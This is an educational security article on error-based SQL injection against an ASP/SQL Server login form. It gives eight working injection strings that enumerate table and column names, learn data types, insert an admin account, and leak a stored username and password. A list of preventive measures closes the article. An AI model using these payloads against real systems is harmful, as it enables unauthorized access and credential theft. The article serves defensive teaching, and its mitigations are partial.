Exposed Database(SQL Server) Error messages – Delicious food for Hackers

The default .asp behavior of IIS server is to return a descriptive error message from the application . By attacking the web application with SQL Injection any body can generate the database error message, if not handled properly .Using these error messages, a hacker can determine the entire database schema : Name of the tables, field name of the tables, data types of fields. Let us study the error messages from the hacker's point of view, assuming the table structure given below (for the sake of simplicity and better understanding of attack string , I am giving the table structure at the beginning. After executing all the attack mentioned below, you will find the same table structure form error messages).

```
USER_TEST  (   id          int,
               username    varchar(200) ,
               password    varchar(200) ,
               user_role   int  )
```

Attributes :
user_role : 0 for normal user and 1 for administrative user.
id: System generated surrogate primary key.

At the front end (Log in form), the application will accept the user credentials and give authorized access to the user according to the predefined privilege.

According to the hacker's interest the most critical line of coding (using asp.net) part is :

```
string sql = "select * from USER_TEST where username= '"+username+"' and password= '"+password+"' "
```

Let's examine if the application is vulnerable to SQL injection or not

Attack_1 : Simply put a single quote in the Username field of log in form, give any password and click submit.

Result : If any message appears like "incorrect username and password"….Then no luck ☹ But if it returns a detailed error message then a big smile ☺.

Now onwards the hacker will start attacking the application to know the database and it's structure. According to the structure the hacker will craft the further attacking strings.

Attack_2 : Username : ' having 1=1 --
Password : <As You wish >
Behind the sense : The query become

```
select * from USER_TEST where username=' ' having 1=1 -- ' and password=' < as you wish > '
```

The query portion in blue will be operational and rest part of the query is commented using "--" (marked in red).This convention is used through out the article.

Result: Error message since "having" is used without group by.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Column **USER_TEST.id** is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Luck : The name of the table (USER_TEST) and the name of the first field (id) from the error message.

Attack_3 : Username : ' group by USER_TEST.id having 1=1 –
Password : <As you wish >

Behind the sense : The query become

```
select * from USER_TEST where username=' 'group by USER_TEST.id
having 1=1 -- ' and password=' < as you wish > '
```

Result : Error message

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Column **'USER_TEST.username '** is invalid in the select list because it is not contained in either aggregate function or the GROUP BY clause

Luck: The name of the second field of the table.

Hackers will try the same attack until they got no error message. In this case "Attack: username : ' group by UESR_TEST.id ,USER_TEST.username, USER_TEST.password, USER_TEST.role having 1=1 –" will not give any error message and the above query will be equivalent to "select * from USER_TEST where username = ' ' " . Now she knows the names of all the fields of the table USER_TEST in order i.e. id, username, password, role and one important thing that there is a single table related to that query. Now they will try to know the datatype of each field.

Attack_4 : Username : ' union select sum(username) from USER_TEST --
Password : <As you wish >

Behind the sense : The query become

```
select * from USER_TEST where username=' ' union select
sum(username) from USER_TEST -- ' and password=' <As you wish >'
```

Result : An error message since sum( ) can't take varchar datatype as an argument .

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.

Luck : The datatype of username field is varchar.

Attack_5 : Username : ' union select sum(id) from USER_TEST --
Password : <As you wish >

Behind the sense : The query become

```
select * from USER_TEST where username=' ' union select sum(id)
from USER_TEST -- ' and password=' <As you wish >'
```

Result : Error message. Confused !!! Yes this will give an error message though sum( ) has integer datatype as argument because of UNION clause. She is exploiting the constraint "UNION operator can't be used without the same number of columns in both the queries **".**

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]All quires in an SQL statement containing a UNION operator must have an **equal number of expression** in their target list.

In this way one can gather the field datatype information for further dangerous attacks. Now the attacker knows the name of the database, name of the fields and as well as datatypes of the fields. So she can proceed further and insert a row in the USER_TEST table to add , of course , an user with administrative privilege.

Attack_6 : Username = ' ; insert into USER_TEST values ('Hello','I_am_in',1) --
Password : <As you wish >

Behind the sense : The query become

```
select * from USER_TEST where username=' ' ;insert into
USER_TEST values ('Hello','I_am_in',1)-- ' and password=' <As
you wish >'
```

Result : Attacker has an administrative account with "Hello" as username and "I_am_in" as password.

Luck: ☺ ☺ ☺ ☺

Let's continue the cracking journey with more attacks.

Since the attacker needs only to know the username and password , she can read it by the following technique…..

Attack_7 : Username : ' union select min(username),1,1,1 from USER_TEST where username > 'a'--
Password : <As you wish >

Behind the sense : The query become

```
select * from USER_TEST where username=' ' union select
min(username),1,1,1 from USER_TEST where username > 'a'-- ' and
password=' <As you wish >'
```

Result : This query will try to retrieve an username that starts with 'a' ,comes first according to dictionary order but not 'a' and try to convert it to integer ,thus produce error. The 1,1,1 after min(username) is given to match the column number and to get rid of the error message given at attack no.5.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value **'admin'** to a column of datatype int.

Luck : Now the attacker knows that username "admin" exists. In this way one can know each and every 'username'.

Attack_8 : Username : ' union select min(password),1,1,1 from USER_TEST where username='admin'—
Password : <As you wish >

Behind the sense : The query become

```
select * from USER_TEST where username=' ' union select
min(password),1,1,1 from USER_TEST where username = 'admin'-- '
and password=' <As you wish >'
```

Result : The return type of min() function is integer .Since this query is trying to convert string to integer ,the following error will appear

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value **'123XYZ'** to a column of datatype int.

Luck : Bingooooo ☺….. Got the administrative password and it is 123XYZ.

So far we have seen that how dangerous the exposed database error message can be. Now lets see some preventive measure so that we can get rid of these kind of database error message.

Recommended Preventive Action :

1. Assume all end-user input is hostile.
2. Turn off the detailed error messaging. Less information might make the job of The hacker a bit harder.
3. Maintain a customized error page though it is not a permanent solution .
4. Don't forget to remove the debugging information (comments) before release.
5. Replace the single quote from input.
6. Allow only good inputs and minimize the input data length.
7. Limit the right of database user that the web application uses.
8. Keep an open eye to the new types of SQL Injection attacks .

Prepared By
Sandipan Pramanik
Mindfire Solutions
(www.mindfiresolutions.com)